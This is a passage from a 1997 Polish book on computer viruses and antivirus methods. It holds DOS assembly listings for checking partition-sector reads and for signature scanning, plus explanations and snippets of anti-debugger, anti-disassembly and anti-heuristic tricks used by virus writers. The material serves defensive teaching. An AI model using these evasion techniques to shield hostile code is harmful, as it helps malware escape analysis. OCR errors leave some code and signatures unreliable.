Poniżej zamieszczono dwa programy, z których jeden odczytuje przy pomocy portów tablicę partycji pierwszego dysku twardego, a drugi BOOT-sektor dyskietki (musi być w napędzie). Odczytane sektory są porównywane z zawartością sektorów widzianych przez funkcje BIOS, zaś wynik porównania jest wyświetlany na ekranie.


;----------------------------------------------------------------------------;

; ;

; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;

; ;

; IDE_PORT v1.0, Autor : Adam Blaszczyk 1997 ;

; ;

; Program odczytuje sektor tablicy partycji pierwszego twardego dysku ;

; przez porty IDE i przerwanie BIOS, a nastepnie tak odczytane sektory ;

; porownuje ze soba. ;

; Umozliwia wiec sprawdzenie, czy odczyty BIOSa nie sa zafalszowane ;

; przez jakiegos wirusa. ;

; ;

; UWAGA : Odczyt przez porty dziala tylko dla dyskow zgodnych z IDE lub EIDE ;

; i nie dziala w systemie Windows'95 ;

; ;

; Kompilacja : ;

; TASM /t IDE_PORT.ASM ;

; TLINK IDE_PORT.OBJ ;

; ;

;----------------------------------------------------------------------------;

IDE_PORT SEGMENT

ASSUME CS:IDE_PORT, DS:IDE_PORT

ORG 100h

NUL = 00h ; \

LF = 0Ah ; - stale potrzebne do deklaracji

CR = 0Dh ; / lancuchow napisowych


Start:

lea si,TeCopyRight ; \ wyswietl info o programie

Call Druk ; /


mov ax,1600h ; sprawdz, czy praca w systemie Windows ?

int 2Fh


test al,7Fh ;

jz NieMaWindows ; ZF=0 - nie ma Windows


cmp al,4 ; czy wersja Windows < 4.0 ?

jb NieMaWindows ; TAK - to nie Windows 95

; NIE - to Windows 95

lea bp,TeWindows95 ; \ program nie dziala pod Windows 95

jmp Rozne ; / wiec koncz


NieMaWindows:


mov dx,1F2h ; 1F2 - okresla ile sektorow czytac

mov al,00000001b ; czytaj 1 sektor

out dx,al ; wyslij do IDE


inc dx ; 1F3 - okresla, ktory sektor pierwszy

mov al,00000001b ; czytaj sektor nr 1

out dx,al ; wyslij do IDE


inc dx ; 1F4 - starsza czesc cylindra (bity 0-1)

mov al,00000000b ; czytaj cylinder 0

out dx,al ; wyslij do IDE


inc dx ; 1F5 - mlodsza czesc cylindra (bity 0-7)

mov al,00000000b ; czytaj cylinder 0

out dx,al ; wyslij do IDE


inc dx ; 1F6 - nr dysku + nr glowicy

mov al,10100000b ; 101NGggg, N=0=master/1=slave, Gggg - glowica

out dx,al ; wyslij do IDE


inc dx ; 1F7 - rejestr rozkazowy IDE

mov al,00100000b ; rozkaz odczytu

out dx,al ; wyslij do IDE


lea bp,TeIDENieDziala ; odczyt przez porty nie dziala

mov cx,0FFFFh ; tyle razy odczytuj z portu


CzekajNaDane:

in al,dx ; czekaj na dane z kontrolera IDE

test al,00001000b ; bit 3 ustawiony ?

loopz CzekajNaDane ; TAK - mozna czytac, NIE - czekaj dalej


test al,00001000b ; bit 3 ustawiony ?

jz Rozne ; NIE - jakis blad


mov cx,256 ; 256x2 bajtow

lea di,SektorIDE ; gdzie zapisac dane

mov dx,1F0h ; 1F0 - port danych IDE

cld ; INC DI w operacjach lancuchowych

CzytajSektor:

in ax,dx ; czytaj slowo

stosw ; zachowaj je

loop CzytajSektor ; czytaj 256 slow=512 bajtow sektora


mov dx,80h ; dysk twardy nr 0, glowica 0

mov cx,1 ; cylinder 0, sektor 1

lea bx,SektorBIOS ; dokad czytac sektor

mov ax,0201h ; funkcja BIOS - czytaj 1 sektor

int 13h ; wywolaj funkcje BIOS


lea bp,TeInne ; komunikat ze rozne


mov cx,256 ; porownaj 256 slow=512 bajtow

lea si,SektorIDE ; bufor z sektorem odczytanym przez porty

lea di,SektorBIOS ; bufor z sektorem odczytanym przez BIOS

rep cmpsw ; porownaj oba bufory

jne Rozne ; ZF=0 - takie same, ZF=1 - rozne


lea bp,TeTakieSame ; komunikat, ze takie same

Rozne:

mov si,bp ; komunikat : rozne lub takie same

Call Druk ; wyswietl komunikat


mov ax,4C00h ; funkcja DOS - koncz program

int 21h ; wywolaj funkcje


Druk: ; procedura wyswietla tekst ASCIIZ z CS:SI

push ax si ; zachowaj zmieniane rejestry


NastepnyZnak:

lods byte ptr cs:[si] ; wez kolejny znak


or al,al ; czy znak jest zerem ?

jz DrukPowrot ; TAK = koniec napisu wyjdz z petli


mov ah,0Eh ; funkcja BIOS

int 10h ; wyswietl znak (z AL)


jmp short NastepnyZnak ; wez nastepny znak


DrukPowrot:

pop si ax ; przywroc zmieniane rejestry


ret ; powrot z procedury


TeCopyRight db CR,LF,'IDE_PORT v1.0, Autor : Adam Blaszczyk 1997',NUL

TeTakieSame db CR,LF,'_ Odczyt przez IDE-porty = odczyt przez BIOS !',NUL

TeInne db CR,LF,'_ Odczyt przez IDE-porty <> odczyt przez BIOS !',NUL

TeWindows95 db CR,LF,'_ Odczyt przez IDE-porty nie dziala w Windows''95 !',NUL

TeIDENieDziala db CR,LF,'_ Odczyt przez IDE-porty nie dziala !',NUL


SektorBIOS db 512/16 dup ('[ SEKTOR BIOS ] ')

SektorIDE db 512/16 dup ('[ SEKTOR EIDE ] ')


IDE_PORT ENDS


END Start


9.2. Sztuczki antydebuggerowe, antydeasemblerowe, antyemulacyjne i antyheurystyczne

Aby utrudnić życie programistom piszącym szczepionki oraz zabezpieczyć swój kod przed niepowołanymi osobami, twórcy wirusów (i nie tylko) często używają tzw. sztuczek antydebuggerowych oraz antydeasemblerowych. Najbardziej znane sztuczki antydebuggerowe polegają na chwilowym (na czas wykonywania kodu wirusa) blokowaniu przerwań sprzętowych, co dla osoby próbującej analizować kod programu objawia się tym, iż np. klawiatura przestaje działać po wykonaniu instrukcji.

Przeszkadzanie włamywaczom polegać może także na blokowaniu lub chwilowym przejmowaniu przerwań newralgicznych dla działania programu uruchomieniowego, a więc 0lh (przerwanie trybu krokowego) i 03h (pułapka programowa). Ich adresy najczęściej ustawia się na 0FFFFh:0000h, czyli na procedurę resetującą programowo komputer. Często w takich wypadkach przejmowane są także przerwania 21h, 16h, 10h, służące debuggerom do obsługi plików, klawiatury, ekranu itd.

Inna metoda przeszkadzania potencjalnym włamywaczom polega na tym, iż wirus próbuje wykrywać fakt pracowania pod kontrolą de-buggera i po ewentualnym wykryciu - wykonywać jakąś destrukcyjną operację lub też próbować uciec włamywaczowi tak, aby ten niczego nie zauważył.

Klasycznymi przykładami sztuczek antydebuggerowych są poniższe sekwencje:

; Blokada przerwa± sprzÛtowych

MOV AL,0FFh ; ustaw wszystkie bity w AL na 1

OUT 21h, AL ; zamaskuj przerwania sprzÛtowe od 0 do 7

OUT 0Alh, AL ; zamaskuj przerwania sprzÛtowe od 8 do F Wykrywanie,

; czy kod wykonuje siÛ pod kontrola debuggera

PUSH SS ; za│aduj na stos warto£µ SS

POP SS ; po tej instrukcji, nastÛpny rozkaz nie jest

; kontrolowany,

PUSHF ; wiÛc mo┐na zachowaµ na stosie prawdziwe flagi

POP AX ; AX=flagi zdjÛte ze stosu

TEST AH,1 ; czy bit TF=1 ?

JNZ DEBUG_ON ; je£li tak, to u┐ywany jest debugger

........ ; debugger nie jest u┐ywany

DEBUG_ON: ; debugger jest u┐ywany

Wraz z pojawieniem się debuggerów działających w trybie chronionym znaczenie sztuczek anydebuggerowych zmalało. Oczywiście, ciągle można je stosować, jednak będą one raczej nieskuteczne. Na przykład, jeżeli program próbuje manipulować adresami procedur obsługi przerwań INT l czy INT 3, debugger działający w trybie rzeczywistym oczywiście im ulegnie, natomiast w przypadku debuggera dla trybu chronionego w zasadzie nic się nie stanie, gdyż używa on innej, własnej tablicy przerwań.

Aby uniemożliwić lub utrudnić deasemblację wirusa, stosuje się szyfrowanie oraz odpowiednie kombinaqe instrukcji, które zakłócają typowy listing programu tak, iż staje się on chaotyczny, nieczytelny i na pozór bezsensowny (tak jak we wspomnianym we wstępie wirusie JUMP).

Przykładem jest krótki programik wyświetlający po uruchomieniu komunikat Cześć!, a napisany tak, iż po jego deasemblacji (np. SOUR-CER-em) uzyskuje się chaotyczny listing (co ciekawe, podczas kilkakrotnych prób otrzymywane źródło nie było zawsze takie same).


;----------------------------------------------------------------------------;

; ;

; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;

; ;

; ANTY_DEA v1.0, Autor : Adam Blaszczyk 1997 ;

; ;

; Program demonstruje proste techniki antydeasemblerowe ;

; Po skompilowaniu mozna sprobowac deasemblowac kod tego ;

; programu przy uzyciu np. SOURCERa i porownac z oryginalnym ;

; zrodlem ;

; ;

; Kompilacja : ;

; TASM ANTY_DEA.ASM ;

; TLINK /t ANTY_DEA.OBJ ;

; ;

;----------------------------------------------------------------------------;

ANTY_DEA SEGMENT

ASSUME CS:ANTY_DEA, DS:ANTY_DEA


ORG 100h



Start: ; poczatek programu

sub bp,bp ; zeruj rejestr BP


lea dx,[bp+offset TxCzesc] ; dostep do danych poprzez

; adresowanie typowo uzywane

; przy operacjach na stosie

; deasembler moze nie zauwazyc

; ze chodzi o zwykly ofset

; do tekstu


jmp $+4 ; przeskocz bajt 0EAh

; i wskocz w drugi bajt

; rozkazu ADD, czyli

; przejdz do rozkazu

; jmp Koniec

; (ukrytego w kodzie rozkazu ADD)


db 0EAh ; symuluj wywolanie

; dalekiej procedury

; o kodzie EA OO OO SS SS, gdzie

; SS SS : Seg, OO OO : ofs

; mozliwe, ze deasembler pobierze

; dwuslowo i zamieni je

; na SS SS : OO OO

; i nie wykryje ani ADD, ani JMP


add ax,0EBh+256*(offset Koniec-$-3) ; kod tego rozkazu

; to db 05

; db EB

; db (offset Koniec-$-3)

; od drugiego bajtu rozpoczyna sie

; kod rozkazu Jmp Koniec (EB,??)


TxCzesc db 0Dh,0Ah,'Czesc!',0Dh,0Ah,'$' ; tekst w srodku kodu;

; istnieje szansa, ze

; deasembler zacznie

; go interpretowac jako kod


db 0EAh ; ta sama sztuczka co powyzej;

; symulacja wywolania dalekiej

; procedury


Koniec: ; tu dotrze program omijajac tekst


jmp $+3 ; przeskocz bajt 0EAh


db 0EAh ; ta sama sztuczka co powyzej;

; symulacja wywolania dalekie

; procedury CALL FAR


; ponizsza sekwencja mov ah,9/

; int 21h jest 4 bajtowa i jest

; calkowicie "pochlonieta" przez

; symulowany rozkaz CALL FAR


mov ah,9 ; funkcja DOS - wyswietl tekst$


int 21h ; wywolaj funkcje DOS


ret ; powrot do PSP:0000h,

; gdzie znajduje sie kod Int 20h,

; czyli koncz program


ANTY_DEA ENDS


END Start


Ze względu na fakt, iż większość obecnie istniejących programów antywirusowych stosuje tryb krokowy lub też emulację procesora do wykrywania wirusów polimorficznych, twórcy wirusów starają się w jakiś sposób utrudnić wykrywanie wirusów tymi metodami.

Specjalnie w tym celu do procedury dekodera, tworzonej przez poli-morficzny generator, dodaje się wywołania różnych, występujących typowo w zwykłym oprogramowaniu, funkcji przerwań 10h, 21h, 16h i innych, a także umieszcza się w niej wywołania procedur. Ciekawym zabiegiem antyemulacyjnym są też próby nadania dekoderowi wyglądu programu napisanego w językach wysokiego poziomu (posiadają one charakterystyczne sekwencje kodu na początku programu), bądź też nadanie plikowi cech np. wewnętrznie spakowanego programu (np. dodanie sygnatur PKLITE, LZEXE lub innych).

Po wykryciu wywołania pewnej ilości funkcji obsługiwanych przez przerwania programowe, próbujący wgryźć się w kod wirusa program antywirusowy zwykle przerywa dalsze poszukiwania i pozostawia plik bez zmian.

Ze względu na stosowanie przez programy antywirusowe heurysty-cznego wykrywania wirusów, nowsze wirusy potrafią już poradzić sobie z tego typu metodami, poprzez odpowiednią manipulację kodem, np. tradycjną sekwencję:

CMP AX,4B00h

mo┐na zakodowaµ w wirusie jako:

ADD AX,1234h

CMP AX,4B00h+1234h

lub

XCHG AX,CX

CMP AX,4B00h XCHG AX,CX

lub na inną, gdyż możliwości jest tu w zasadzie nieskończenie wiele. Gdy podobną operację wykona się dla większości zawartych w wirusie instrukcji, program antywirusowy będzie miał spore kłopoty z rozpoznaniem intruza.


9.3. Optymalizacje kodu

Jak wspomniano na początku, wirus powinien być maksymalnie krótki i zwięzły, tak więc autorom wirusów zwykle zależy na minimalizacji kodu wirusa, bez utracenia jego funkcjonalności. W tym celu stosuje się różne rozwiązania polegające na odpowiednim kodowaniu różnych instrukcji, które - mimo, że krótsze od normal-

nie przeznaczonych do danego celu rozkazów - zachowują ich funkcjonalność. Poniższe przykłady ilustrują najbardziej znane i proste optymalizacje kodu:

XOR REJ16,REJ16 ; zeruj rejestr 16-bitowy za pomoce 2-bajtowego

; rozkazu (zamiast 3-bajtowego rozkazu MOV REJ16,0)

XOR AX,AX ; zeruj rejestry DX:AX za pomoc╣ dw¾ch rozkaz¾w CWD

; zajmuj╣cych razem 3 bajty (zamiast 4 lub 6 bajt¾w)

XCHG AX,REJ16 ; przenie£ zawarto£µ rejestru AX do innego rejestru ; 16-bitowego zamiast 2-bajtowej instrukcji MOV BX,AX

; (mo┐na u┐ywaµ tylko w niekt¾rych sytuacjach)

INC REJ16 ; dwie 1-bajtowe instrukcje INC

INC REJ16 ; zamiast jednej 3-bajtowej instrukcji

ADD REJ16,2 ; analogicznie dla rozkazu

SUB REJ16,2 ; 2xDEC


9.4. Retrostruktury (techniki anty-antywirusowe), czyli walka z zainstalowanymi monitorami antywirusowymi

Większość z nowoczesnych wirusów w aktywny sposób stara się walczyć z zainstalowanym oprogramowaniem antywirusowym. Wirusy kasują więc pliki z sumami kontrolnymi, modyfikują znalezione w pamięci programy antywirusowe, tak aby nie były one aktywne, lub nawet deinstalują je całkowicie z pamięci w sposób niewidoczny dla użytkownika.

Co ciekawe, większość monitorów antywirusowych, zawierających wyrafinowane metody wykrywania niebezpiecznych odwołań do plików czy sektorów, nie przykłada żadnej wagi do ochrony własnego

kodu. W kolejnych wersjach programy te mają schematyczną budo' we, a korzystające z tego wirusy potrafią wykryć odpowiednią sekwencję w pamięci i zmienić ją tak, iż program, mimo że jest zainstalowany, nie działa tak, jak powinien.

Najbardziej jaskrawym tego przykładem jest chyba modyfikacja parametrów wejściowych programu antywirusowego, który po uruchomieniu wyświetla swój status, zawierający użyty przez wirusa parametr. Dodawane przez wirusy parametry najczęściej wyłączają bezpośredni dostęp do dysków, przeszukiwanie pamięci itp. Aby uniemożliwić użytkownikowi zauważenie wprowadzonych w parametrach zmian, wirusy zmieniają odpowiedni łańcuch bezpośrednio w pamięci ekranu, tak iż odbiorca (użytkownik programu) patrząc na ekran jest przekonany o poprawnym działaniu programu, mimo że ten ma zablokowane funkcje, które prawdopodobnie pomogłyby wykryć wirusa.

We wspomnianych we wstępie zinach, dotyczących programowania wirusów, znaleźć można artykuły, które bardzo dokładnie opisują sposoby łamania najbardziej znanych na świecie programów antywirusowych (w artykułach tych najczęściej mówi się o serii zaawansowanych programów antywirusowych ThunderByte autorstwa Fransa Veldmana).

W najbliższych latach spodziewać się można powstania zupełnie nowych odmian wirusów, które wykorzystywać będą nie znane nam aktualnie mechanizmy. Poniżej przedstawiono krótki przegląd przewidywanych przez większość znawców wirusów trendów rozwojowych progamowania wirusów. Ze względu jednak na charakter rozdziału oraz na wątpliwą wiarygodność różnego rodzaju przepowiedni, zalecam czytelnikowi podejście do tego tekstu z odrobiną sceptycyzmu.


ROZDZIAŁ 10


10.1. Wirusy dla różnych systemów (ang. multisystem, multiplatform viruses)

Jednym z zadań, jakie stawiają sobie obecnie twórcy wirusów, jest stworzenie wirusa, który mógłby egzystować w jak największej ilości systemów operacyjnych (w tym także sieciowych). Wirus taki powinien infekować wszystkie możliwe do zarażenia obiekty, a także w miarę możliwości przenosić się w sieci, wykorzystując protokoły transmisji sieciowej. Wydaje się, iż ze względu na różnice występujące pomiędzy różnymi komputerami i systemami operacyjnymi, najniższym poziomem, na jakim będzie mógł pracować taki wirus, będzie jakiś język programowania wysokiego poziomu, najpewniej C lub podobny. Odpowiedni może okazać się stale rozwijany, dość popularny język JAVA, masowo wykorzystywany w sieci Intemet. Poprzez zawarte w nim mechanizmy można będzie zapewne stworzyć wirusa, który będzie się przemieszczał bez większych trudności po całej sieci Internet.

Idea stworzenia wirusa działającego na różnych komputerach nie jest wcale tak odległa, jak można by sądzić po przeczytaniu powyższego tekstu. Prawdziwą niespodzianką jest fakt, iż pierwsze wirusy niezależne sprzętowo już istnieją i są to... makrowirusy, które radzą sobie zarówno na komputerach klasy PC, jak i Macintosh,


10.2. Wirusy infekujące wewnątrzplikowo (ang. surface infectors)

Większość obecnie istniejących wirusów infekując pliki używa standardowego schematu, polegającego na doczepianiu się na końcu zarażanego pliku i odpowiedniej modyfikacji jego nagłówka. Zarażanie wewnątrzplikowe polega na próbie odnalezienia i wykorzystania w zarażanym pliku miejsca, które można byłoby wykorzystać na umieszczenie przyszłego wirusa. Możliwe byłoby nawet rozrzucenie kodu wirusa po pliku ofiary, tak iż poszczególne części kodu byłyby od siebie oddzielone. Ponadto, gdyby wirus tego typu był polimorfi-czny, znalezienie jego kodu wewnątrz ofiary byłoby podwójnie utrudnione. Mimo że już wielokrotnie podejmowano próby napisania takiego wirusa, nieliczne istniejące egzemplarze są jeszcze bardzo prymitywne.


10.3. Wirusy zmienne genetycznie (mutujące swój kod)

W kilku artykułach dostępnych w sieci Internet ich autorzy rozważają możliwość stworzenia wirusa, który w kolejnych zarażanych ofiarach wyglądałby inaczej, jednak kolejne generacje nie byłyby tworzone przy użyciu polimorficznego generatora zmiennych procedur szyfrujących, a zasada tworzenia nowych mutacji własnego kodu polegałaby na manipulowaniu instrukcjami kodu maszynowego tak, aby zachowana została funkcjonalność kodu, lecz kod ten sukcesywnie by się zmieniał (podobnie jak kod odporny na heurystykę, jednak tutaj zabieg ten byłby wykonywany dla każdej instrukcji). Można by powiedzieć, iż wirus taki posiadałby swoistą tożsamość, objawiającą się tym, iż wiedziałby, co ma robić i na bazie jakiegoś generatora tworzyłby swą nową kopię, przemieszczając odpowiednie fragmenty ko

du, symulując jedną instrukcję za pomocą kilku itp. Na razie jednak zadanie to przekracza chyba umiejętności nawet najlepszych twórców wirusów, choć niewykluczone, iż dzieło takie wkrótce się pojawi.


10.4. Wirusy infekujące nowe, nie infekowane dotychczas obiekty

Jak udowodniły makrowirusy plików DOC czy XLS, ciągle można znaleźć jakąś nową platformę, dotąd nie zajętą przez wirusy. Ze względu na zmierzch systemu DOS znawcy wirusów przewidują, iż za kolejny cel twórcy wirusów obiorą sobie inne popularne systemy, zwłaszcza system Windows 95 oraz, w mniejszym stopniu, Unix (zwłaszcza Linux), OS/2 lub Windows NT. Już dziś można znaleźć okazy wirusów infekujących np. system Windows 95, Linux, OS/2 i,

co ciekawe, są one napisane w... czystym asemblerze (nawet w przypadku Linuxa).

Popularność środowiska Windows 95 powoduje, iż za możliwe obiekty ataku można uznać większość plików używanych przez ten system, które zawierają jakieś przydatne wirusom struktury danych lub też oferują jakiś możliwy do wykorzystania mechanizm. Są to głównie pliki z kodem np. DLL, VXD, MPD, PDR, DRV, 386 oraz pliki grup i skrótów: GRP i LNK, przy pomocy których można stworzyć kolejne warianty wirusów towarzyszących. Ze względu na strukturę plików przeznaczonych dla Windows 95 (pliki nowe EXE o nagłówku

PE) możliwe jest także zastosowanie zmiennych procedur szyfrujących do lepszego ukrycia wirusa.


ROZDZIAŁ 11


11.1. Skanery (ang. scaners)

Najstarszym rodzajem programów antywirusowych są skanery. Ich działanie polega na wyszukiwaniu zadanej sekwencji bajtów w ciągu danych.

W większości wirusów daje się znaleźć unikalną sekwencję bajtów (tzw. sygnaturę), dzięki której możliwe jest odnalezienie wirusa w pamięci lub w zarażonej ofierze.

Skuteczność skanera zależy od tego, jak bardzo charakterystyczna jest dana sekwencja. Najlepiej, jeżeli wirus zawiera w sobie jakiś niekonwencjonalny napis lub specyficzny ciąg bajtów (np. jakąś procedurę demonstracyjną).

Wraz z pojawieniem się wirusów polimorficznych znaczenie skanerów trochę zmalało, jednak nadal jest to najważniejsza metoda walki z wirusami. Nawet w przypadku wirusów polimorficznych używa się skanera, choć dopiero w późniejszej fazie wykrywania (np. po krokowym lub emulowanym przejściu początku programu), co świadczy o uniwersalności tej metody.


11.2. Monitory (ang. behaviour blockers, interceptors, resident monitors)

Monitor to program antywirusowy zainstalowany jako TSR lub sterownik SYS, który poprzez monitorowanie odpowiednich funkcji DOS i BIOS pozwala na wykrywanie wszystkich wykonywanych za pomocą tych funkcji odwołań do dysków. Większość tego typu programów posiada także mechanizmy pozwalające na sprawdzanie, czy wykonywany proces nie ingeruje w jakieś systemowe struktury danych, np. bloki MCB lub tablicę wektorów przerwań. To, czy monitor będzie działał prawidłowo, zależy często od momentu, w którym przejął on kontrolę nad systemem (przed czy po wirusie) oraz od tego, jak głęboko wnika on w system operacyjny (kontrola funkcji wykorzystywanych przez wirusy jest przeprowadzana na początku łańcucha obsługi przerwań lub też na jego końcach). Jak widać, aby dotrzymać kroku twórcom wirusów, autorzy programów antywirusowych muszą korzystać z metod podobnych do tych, które stosują twórcy wirusów.

Największą wadą monitorów jest to, iż powodują one częste fałszywe alarmy (ang. false positives), przez co użytkownik po kolejnym irytującym potwierdzeniu jakiejś zwykłej operacji dyskowej staje się mniej uważny, a czasami wręcz deinstaluje program antywirusowy z pamięci.


11.3. Szczepionki (ang. disinfectors)

Szczepionki są programami skierowanymi przeciwko konkretnym wirusom. Na podstawie posiadanego, złapanego egzemplarza wirusa można, po odpowiedniej analizie jego kodu, zdefiniować sygnatury, na podstawie których wykrywa się kopie wirusa w zainfekowanych obiektach. Dokładna analiza kodu wirusa najczęściej pozwala także odnaleźć w nim oryginalne wartości pewnych parametrów, które mogą posłużyć do wyleczenia sektorów lub plików (np. dla plików typu EXE jest to punkt wejścia do oryginalnego programu, dla plików COM - początkowe bajty programu). Większość z istniejących szczepionek to rozbudowane programy z interfejsem, które potrafią wykryć i usunąć kilka tysięcy wirusów. Tylko w przypadkach nowych wirusów niektóre osoby, zmuszone okolicznościami, same piszą szczepionkę skierowaną przeciwko konkretnemu wirusowi, czego efektem z reguły jest nie do końca przetestowany, ale działający program.


11.4. Programy autoweryfikujące

Programy tego typu umożliwiają dodanie do wskazanego pliku krótkiego programu, mającego na celu sprawdzenia przy każdym uruchomienie, czy dany program nie został w jakiś sposób zmieniony (co zwykle oznacza ingerencję wirusa). Dodawany kod dopisuje się do pliku wykorzystując te same mechanizmy co wirusy.

Najczęściej programy tego rodzaju są nieodporne na technikę stealth i w systemie zainfekowanym przez wirusa używającego tej sztuczki nie wykażą żadnej zmiany w pliku, mimo że jest on zainfekowany.


11.5. Programy zliczające sumy kontrolne (ang. integrity checkers)

Działanie tego typu programów polega na obliczaniu odpowiednich sum kontrolnych dla zadanego pliku lub plików oraz ewentualnie sektorów. Zliczane sumy kontrolne są najczęściej przechowywane w osobnych plikach, tworzonych po pierwszym uruchomieniu programu. Jeżeli pliki te istniały już wcześniej, program antywirusowy wykorzystuje dane w nich zawarte, aby porównać sumę obliczaną na bieżąco z poprzednio zachowaną.

Suma kontrolna nie musi (a nawet nie powinna) być sumą arytmetyczną. Dzięki znajomości algorytmów stosowanych przez pewne programy antywirusowe niektóre wirusy potrafią zarazić plik i obliczyć dla niego nową sumę kontrolną, którą bez większych problemów można zastąpić pierwotną, przechowywaną w pliku.

Piętą Achillesową programów zliczających sumy kontrolne jest to, iż pliki przechowywujące obliczone sumy nie są w żaden sposób chronione, dlatego wiele wirusów bezkarnie kasuje napotkane znane sobie pliki z sumami kontrolnymi.


ROZDZIAŁ 12


12.1. Skaning

Historycznie jest to najstarsza technika stosowana przez programy antywirusowe. Skaning polega na wyszukiwaniu w zainfekowanym obiekcie zadanej sekwencji bajtów (sygnatury wirusa).

Poniżej przedstawiono kilka przykładowych sygnatur istniejących wirusów:

B8 ED FE CD 21 A3 03 01 0E 8F 06 6F 01 BA ; sygnatura wirusa Atomie 1.0

BE 30 01 8B 16 17 01 B9 35 01 2E 31 14 83 ; sygnatura wirusa Human Greed

8B FC 36 8B 2D 81 ED 03 01 44 44 1E 06 OE ; sygnatura wirusa DOOM!

5D 83 ED 03 E8 15 00 EB 27 90 E8 OF 00 B4 ; sygnatura wirusa Ethernity

5D 81 ED 03 01 EB 1B 90 B8 24 35 CD 21 ; sygnatura wirusa OLG

Jak widać, tradycyjna sygnatura jest to ciąg bajtów o nieustalonej z góry długości, zapisanych heksalnie, które program antywirusowy konwertuje na rozumianą przez siebie postać binarną (maszynową) i dopiero taki łańcuch poszukiwany jest w przeszukiwanym obiekcie. Z czasem pojęcie sygnatury rozszerzono. Dzisiejsze skanery potrafią interpretować różne symbole oraz znaki globalne (ang. wildcards) np. ? czy *. Poniżej podano przykłady kilku prostych, nieznacznie rozszerzonych sygnatur używających znaków globalnych:

BB ?2 B9 10 01 81 37 ?2 81 77 02 ?2 83 C3 04 E2 F2 ; sygnatura wirusa FireFly

B9 CC 01 BB ?2 2E 81 07 ?2 83 C3 02 ; sygnatura wirusa K-CMOS

1E 06 OE OE 1F 07 2E FE 06 ?2 2E A1 ; sygnatura wirusa Geodesic Propagation

33 CO 8E D8 BE ?2 FF 34 FF 74 02 C7 04 ; sygnatura wirusa 1984

Poniżej zamieszczono listing programu, który umożliwia wyszukiwanie zadanego ciągu bajtów w podanym jako parametr pliku. Zadany ciąg bajtów może być podany Jako łańcuch w apostrofach lub jako zapisane heksalnie dane (możliwa jest także kombinacja podanych metod).


;----------------------------------------------------------------------------;

; ;

; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;

; ;

; SKANER v1.0, Autor : Adam Blaszczyk 1997 ;

; ;

; Program sluzy do przeszukiwania plikow w celu znalezienia zadanego ;

; lancucha bajtow (np. stalej sygnatury wirusa) podanego jako parametr ;

; przy wywolaniu programu. ;

; ;

;----------------------------------------------------------------------------;

; DANE TECHNICZNE ;

;----------------------------------------------------------------------------;

; ;

; _ Wywolanie: SKANER NazwaPliku CiagBajtow ;

; _ Ciag moze skladac sie z liczb zapisanych heksalnie lub zwyklego tekstu ;

; np: ;

; _ CD 21 - szuka wywolania przerwania 21h ;

; _ 'wirus' - szuka slowa "wirus" ;

; _ 'abc'80C5'def'EE F6 - szuka lancucha "abcÃ+def_¸" ;

; _ Maksymalna dlugosc wyszukiwanego ciagu = 128 bajtow. ;

; _ Dlugosc jednorazowo odczytywanych danych z pliku = 65024 bajtow ;

; 65024=512*127=127 sektorow, 512 bajtowych ;

; _ Maksymalna ilosc zliczanych wystapien ciagu = 2^32 razy ;

; _ Pliki z atrybutami Hidden, System przed odczytem maja zmieniany atrybut ;

; na Archive; po skonczeniu programu przywracany jest oryginalny atrybut ;

; _ Procedura obslugi INT 24h <dialog ARIF-Abort,Retry,Ignore,Fail> ;

; zastapiona zostala sekwencja sygnalizujaca blad programowi ;

; _ Wyszukiwane sa wszystkie mozliwe wystapenia ciagu ;

; (takze zachodzace na siebie) ;

; ;

;----------------------------------------------------------------------------;


;-------------------------------------------------------------------

; Definicje Stalych

;-------------------------------------------------------------------

JUMPS

;stale logiczne

Falsz equ 00h ; \ definicja dwoch stalych logicznych

Prawda equ Falsz+1 ; / 0=Falsz i 1=Prawda

; stale ogolne

RozmiarStosu equ 128 ; rozmiar stosu w slowach dwubajtowych

RozmiarCiagu equ 128 ; rozmiar bufora na wyszukiwany ciag

RozmiarBuforaDanych equ 127*512 ; rozmiar bufora na dane = segment 64K-512

DlugNazwyPliku equ 128 ; dlugosc pelnej nazwy pliku

LiniaPolecen equ 80h ; adres (w PSP) do parametrow

; stale znakowe

ZnakTabulacji equ 09h ; \

ZnakSpacji equ ' ' ; \

ZnakKoncaLinii equ 0Dh ; - stale znakowe

CR equ 0Dh ; /

LF equ 0Ah ; /

; stale bledow

; na ich podstawie nastepuje obliczenie ofsetu komunikatu o bledzie

BlBezBledu equ 00h ; nie ma bledu

BlBrakParametrow equ 01h ; blad : nie ma parametrow

BlBrakNazwyPliku equ 02h ; blad : brak nazwy pliku w parametrach

BlBrakCiagu equ 03h ; blad : brak ciagu do wyszukania

BlZlyCiag equ 04h ; blad : ciag zawiera bledy

BlBrakPlikuNaDysku equ 05h ; blad : brak pliku podanego jako parametr

BlBlad_ARIF equ 06h ; blad : brak dostepu do pliku (int 24h)

BlZlyAtrybutPliku equ 07h ; blad : nie plik tylko etykieta dysku lub katalog

BlBrakDostepuDoPliku equ 08h ; blad : nie mozna zmienic atrybutow na archive

BlNieMogeOtworzyc equ 09h ; blad : nie moge otworzyc pliku

BlNieMogeCzytac equ 0Ah ; blad : nie moge czytac pliku

BlNieMogeZamknac equ 0Bh ; blad : nie moge zamknac pliku

BlPlikZaKrotki equ 0Ch ; blad : plik krotszy niz dlugosc ciagu

; stale drukowania wrostkow

; 7 bit=1 wywolaj procedure konwersji, ktorej adres w [si+1]

; 7 bit=0 wyswietl tekst, ktorego adres jest pod [si+1]

DrPlik equ 01h ; stala dla wrostka NazwaPliku

DrCiag equ 02h ; stala dla wrostka Ciag

DrUnIntDec equ 83h ; stala dla wrostka - liczby bez znaku typu Int (dziesietne)

DrUnIntHex equ 84h ; stala dla wrostka - liczby bez znaku typu Int (szesnastkowo)

IleWrostkow equ 04h ; ile maksymalnie wrostkow

; stale DOS-owe

TrybOtwarciaPliku equ 00000000b ; oznacza otwarcie pliku tylko do odczytu


AtReadOnly equ 00000001b ;\

AtHidden equ 00000010b ; \

AtSystem equ 00000100b ; \

AtVolumeID equ 00001000b ; - atrybuty pozycji katalogu

AtDirectory equ 00010000b ; /

AtArchive equ 00100000b ; /

AtAll equ 00111111b ; /

; definicja bufora DTA (Disk Transfer Area)

DTA_STRUC struc ; struktura potrzebna dla funkcji

NieWazne db 21 dup(?) ; 4E i 4F sluzacych do poszukiwania

Atrybut db ? ; pierwszego (4E) i nastepnego (4F)

Czas dw ? ; wystapienia w katalogu (pliku, katalogu,itp.)

Data dw ? ; opisuje wszystkie parametry pliku

